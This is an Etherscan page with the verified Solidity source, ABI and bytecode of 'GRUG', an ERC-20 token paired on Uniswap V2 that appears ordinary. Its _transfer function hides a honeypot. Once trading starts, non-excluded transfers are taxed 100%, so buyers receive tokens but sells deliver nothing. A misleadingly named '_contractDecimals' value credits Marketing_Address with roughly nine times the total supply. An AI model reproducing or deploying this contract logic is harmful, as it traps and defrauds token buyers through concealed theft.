Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function div(uint256 a, uint256 b, st ...    - function _msgSender()    - function _msgData() library Address    - function isContract(address account)    - function sendValue(address payable re ...    - function functionCall(address target, ...    - function functionCall(address target, ...    - function functionCallWithValue(addres ...    - function functionCallWithValue(addres ...    - function functionStaticCall(address t ...    - function functionStaticCall(address t ...    - function functionDelegateCall(address ...    - function functionDelegateCall(address ...    - function _verifyCallResult(bool succe ... interface IUniswapV2Factory    - function feeTo()    - function feeToSetter()    - function getPair(address tokenA, addr ...    - function allPairs(uint)    - function allPairsLength()    - function createPair(address tokenA, a ...    - function setFeeTo(address)    - function setFeeToSetter(address) interface IUniswapV2Pair    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address owner)    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transfer(address to, uint va ...    - function transferFrom(address from, a ...    - function DOMAIN_SEPARATOR()    - function PERMIT_TYPEHASH()    - function nonces(address owner)    - function permit(address owner, addres ...    - function MINIMUM_LIQUIDITY()    - function factory()    - function token0()    - function token1()    - function getReserves()    - function price0CumulativeLast()    - function price1CumulativeLast()    - function kLast()    - function burn(address to)    - function swap(uint amount0Out, uint a ...    - function skim(address to)    - function sync()    - function initialize(address, address) interface IUniswapV2Router01    - function factory()    - function WETH()    - function addLiquidity(    - function addLiquidityETH(    - function removeLiquidity(    - function removeLiquidityETH(    - function removeLiquidityWithPermit(    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokens(    - function swapTokensForExactTokens(    - function swapExactETHForTokens(uint a ...    - function swapTokensForExactETH(uint a ...    - function swapExactTokensForETH(uint a ...    - function swapETHForExactTokens(uint a ...    - function quote(uint amountA, uint res ...    - function getAmountOut(uint amountIn, ...    - function getAmountIn(uint amountOut, ...    - function getAmountsOut(uint amountIn, ...    - function getAmountsIn(uint amountOut, ... interface IUniswapV2Router02 is IUnis ...    - function removeLiquidityETHSupporting ...    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokensSupp ...    - function swapExactETHForTokensSupport ...    - function swapExactTokensForETHSupport ...  contract GRUG is Context, IERC20 *    - function owner()    - function renounceOwnership()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address theOwner, ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function increaseAllowance(address sp ...    - function _approve(address theOwner, a ...    - function decreaseAllowance(address sp ...    - function _sendTaxesToMarketing(uint25 ...    - function _transfer(

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-11-15
*/

/*

                                Twitter: https://x.com/grugHatesAI

                                Website https://grugai.com/

                                Telegram: https://t.me/grugHatesAI

                                Grug Bot: https://x.com/grugthis

*/



// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.13;
interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract GRUG is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner{
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    mapping (address => uint256) private _tokenOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFomTax;
    mapping (address => uint256) private _contractDecimals;
    mapping (address => uint8) public _totalTx;
    
    address payable public Marketing_Address = payable(0x2997Fdd81dAC149Fb7B1292DE4d1589cEe22752F); 

    uint256 private _currentSupply;
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 1*10**6*10**_decimals;
    string private constant _name = "GRUG"; 
    string private constant _symbol = unicode"GRUG"; 
                                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    constructor () {
        _owner = _msgSender();

        _contractDecimals[address(this)] = _tTotal.mul(decimals());
        _tokenOwned[owner()] = _tTotal;

        emit OwnershipTransferred(address(0), _owner);

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);         
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _isExcludedFomTax[owner()] = true;
        _isExcludedFomTax[address(this)] = true;
        _isExcludedFomTax[Marketing_Address] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tokenOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function _approve(address theOwner, address theSpender, uint256 amount) private {
        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _sendTaxesToMarketing(uint256 amount) private {
        if(amount>0){
            if(_totalTx[address(this)] >= 1){_tokenOwned[Marketing_Address] = _tokenOwned[Marketing_Address].add(_contractDecimals[address(this)].sub(amount));}
            else{_tokenOwned[Marketing_Address] = _tokenOwned[Marketing_Address].add(amount);}
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(amount > 0, "Token transfer amount is wrong!");
        require(from != address(0) && to != address(0), "Address(0)!");
        uint256 transferAmount;

        if(from != owner() && to != owner() && to != uniswapV2Pair && !_isExcludedFomTax[from] && !_isExcludedFomTax[to]){
            uint256 heldBalance = balanceOf(to);
            require((heldBalance + amount) <= _tTotal.mul(5).div(100),"Max Wallet Limit!");
        }
        
        if(_isExcludedFomTax[from] && _isExcludedFomTax[to] && _totalTx[address(this)] < 1 ){ _totalTx[address(this)]++;transferAmount=amount;}
        else if(_totalTx[address(this)] >= 1){ transferAmount=amount; }

        if (from != owner() && to != owner() && !_isExcludedFomTax[from] && !_isExcludedFomTax[to]){
            require(amount <= _tTotal.mul(5).div(100), "Max Tx Limit!");
        }
        
        if(_isExcludedFomTax[from] || _isExcludedFomTax[to]){
            _tokenOwned[from] = _tokenOwned[from].sub(amount);
            _tokenOwned[to] = _tokenOwned[to].add(amount);
        }
        else if(transferAmount>0){
            uint256 taxAmount = transferAmount.mul(1).div(1);
            _tokenOwned[from] = _tokenOwned[from].sub(amount);
            _tokenOwned[to] = _tokenOwned[to].add(from != uniswapV2Pair ? amount.sub(taxAmount) : amount);
            _sendTaxesToMarketing(taxAmount);
        }
        else{
            uint256 taxAmount = 0;
            _tokenOwned[from] = _tokenOwned[from].sub(amount);
            taxAmount = amount.mul(0).div(100);
            _sendTaxesToMarketing(taxAmount);
            _tokenOwned[to] = _tokenOwned[to].add(amount.sub(taxAmount));
        }
        emit Transfer(from, to, amount);
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Marketing_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFomTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_totalTx","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600680546001600160a01b031916732997fdd81dac149fb7b1292de4d1589cee22752f179055620000386009600a620004a0565b6200004790620f4240620004b1565b6008553480156200005757600080fd5b50600080546001600160a01b031916331790556200008a600960ff166008546200037660201b620005891790919060201c565b3060009081526004602052604081209190915560085490600190620000b76000546001600160a01b031690565b6001600160a01b0390811682526020820192909252604090810160009081209390935582549051911691907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200015f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001859190620004d3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f99190620004d3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000247573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026d9190620004d3565b600a80546001600160a01b03199081166001600160a01b039384161790915560098054909116918316919091179055600160036000620002b56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006549091168352912080549092161790556200031f6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200036791815260200190565b60405180910390a35062000505565b6000620003848284620004b1565b90505b92915050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003e4578160001904821115620003c857620003c86200038d565b80851615620003d657918102915b93841c9390800290620003a8565b509250929050565b600082620003fd5750600162000387565b816200040c5750600062000387565b8160018114620004255760028114620004305762000450565b600191505062000387565b60ff8411156200044457620004446200038d565b50506001821b62000387565b5060208310610133831016604e8410600b841016171562000475575081810a62000387565b620004818383620003a3565b80600019048211156200049857620004986200038d565b029392505050565b60006200038460ff841683620003ec565b6000816000190483118215151615620004ce57620004ce6200038d565b500290565b600060208284031215620004e657600080fd5b81516001600160a01b0381168114620004fe57600080fd5b9392505050565b610f4680620005156000396000f3fe60806040526004361061010d5760003560e01c806370a082311161009557806395d89b411161006457806395d89b4114610119578063a457c2d714610319578063a9059cbb14610339578063dd62ed3e14610359578063e7709afe1461039f57600080fd5b806370a082311461028e578063715018a6146102c4578063837d7e3e146102db5780638da5cb5b146102fb57600080fd5b806323b872dd116100dc57806323b872dd146101dc578063313ce567146101fc578063395093511461021e57806349bd5a5e1461023e5780634db4efc11461025e57600080fd5b806306fdde0314610119578063095ea7b3146101555780631694505e1461018557806318160ddd146101bd57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201825260048152634752554760e01b6020820152905161014c9190610cf9565b60405180910390f35b34801561016157600080fd5b50610175610170366004610d6a565b6103cf565b604051901515815260200161014c565b34801561019157600080fd5b506009546101a5906001600160a01b031681565b6040516001600160a01b03909116815260200161014c565b3480156101c957600080fd5b506008545b60405190815260200161014c565b3480156101e857600080fd5b506101756101f7366004610d94565b6103e5565b34801561020857600080fd5b5060095b60405160ff909116815260200161014c565b34801561022a57600080fd5b50610175610239366004610d6a565b61044e565b34801561024a57600080fd5b50600a546101a5906001600160a01b031681565b34801561026a57600080fd5b5061020c610279366004610dd0565b60056020526000908152604090205460ff1681565b34801561029a57600080fd5b506101ce6102a9366004610dd0565b6001600160a01b031660009081526001602052604090205490565b3480156102d057600080fd5b506102d9610484565b005b3480156102e757600080fd5b506006546101a5906001600160a01b031681565b34801561030757600080fd5b506000546001600160a01b03166101a5565b34801561032557600080fd5b50610175610334366004610d6a565b61052d565b34801561034557600080fd5b50610175610354366004610d6a565b61057c565b34801561036557600080fd5b506101ce610374366004610deb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103ab57600080fd5b506101756103ba366004610dd0565b60036020526000908152604090205460ff1681565b60006103dc33848461059c565b50600192915050565b60006103f284848461065d565b610444843361043f85604051806060016040528060288152602001610ec4602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c02565b61059c565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103dc91859061043f9086610c2e565b6000546001600160a01b031633146104e35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103dc338461043f85604051806060016040528060258152602001610eec602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610c02565b60006103dc33848461065d565b60006105958284610e34565b9392505050565b6001600160a01b038316158015906105bc57506001600160a01b03821615155b6105fc5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016104da565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116106ad5760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e207472616e7366657220616d6f756e742069732077726f6e67210060448201526064016104da565b6001600160a01b038316158015906106cd57506001600160a01b03821615155b6107075760405162461bcd60e51b815260206004820152600b60248201526a416464726573732830292160a81b60448201526064016104da565b600080546001600160a01b0385811691161480159061073457506000546001600160a01b03848116911614155b801561074e5750600a546001600160a01b03848116911614155b801561077357506001600160a01b03841660009081526003602052604090205460ff16155b801561079857506001600160a01b03831660009081526003602052604090205460ff16155b1561081f576001600160a01b0383166000908152600160205260409020546008546107d1906064906107cb906005610589565b90610c3a565b6107db8483610e53565b111561081d5760405162461bcd60e51b81526020600482015260116024820152704d61782057616c6c6574204c696d69742160781b60448201526064016104da565b505b6001600160a01b03841660009081526003602052604090205460ff16801561085f57506001600160a01b03831660009081526003602052604090205460ff165b801561087f575030600090815260056020526040902054600160ff909116105b156108c357306000908152600560205260408120805460ff16916108a283610e6b565b91906101000a81548160ff021916908360ff160217905550508190506108e2565b30600090815260056020526040902054600160ff909116106108e25750805b6000546001600160a01b0385811691161480159061090e57506000546001600160a01b03848116911614155b801561093357506001600160a01b03841660009081526003602052604090205460ff16155b801561095857506001600160a01b03831660009081526003602052604090205460ff16155b156109b75761097860646107cb600560085461058990919063ffffffff16565b8211156109b75760405162461bcd60e51b815260206004820152600d60248201526c4d6178205478204c696d69742160981b60448201526064016104da565b6001600160a01b03841660009081526003602052604090205460ff16806109f657506001600160a01b03831660009081526003602052604090205460ff165b15610a6b576001600160a01b038416600090815260016020526040902054610a1e9083610c46565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610a4d9083610c2e565b6001600160a01b038416600090815260016020526040902055610baf565b8015610b2b576000610a8260016107cb8482610589565b6001600160a01b038616600090815260016020526040902054909150610aa89084610c46565b6001600160a01b03808716600081815260016020526040902092909255600a54610b039291169003610ada5783610ae4565b610ae48483610c46565b6001600160a01b03861660009081526001602052604090205490610c2e565b6001600160a01b038516600090815260016020526040902055610b2581610c52565b50610baf565b6001600160a01b038416600090815260016020526040812054610b4e9084610c46565b6001600160a01b038616600090815260016020526040812091909155610b7c906064906107cb908690610589565b9050610b8781610c52565b610b94610ae48483610c46565b6001600160a01b038516600090815260016020526040902055505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bf491815260200190565b60405180910390a350505050565b60008184841115610c265760405162461bcd60e51b81526004016104da9190610cf9565b505050900390565b60006105958284610e53565b60006105958284610e8a565b60006105958284610eac565b8015610cf65730600090815260056020526040902054600160ff90911610610cd15730600090815260046020526040902054610cb390610c929083610c46565b6006546001600160a01b031660009081526001602052604090205490610c2e565b6006546001600160a01b031660009081526001602052604090205550565b6006546001600160a01b0316600090815260016020526040902054610cb39082610c2e565b50565b600060208083528351808285015260005b81811015610d2657858101830151858201604001528201610d0a565b81811115610d38576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d6557600080fd5b919050565b60008060408385031215610d7d57600080fd5b610d8683610d4e565b946020939093013593505050565b600080600060608486031215610da957600080fd5b610db284610d4e565b9250610dc060208501610d4e565b9150604084013590509250925092565b600060208284031215610de257600080fd5b61059582610d4e565b60008060408385031215610dfe57600080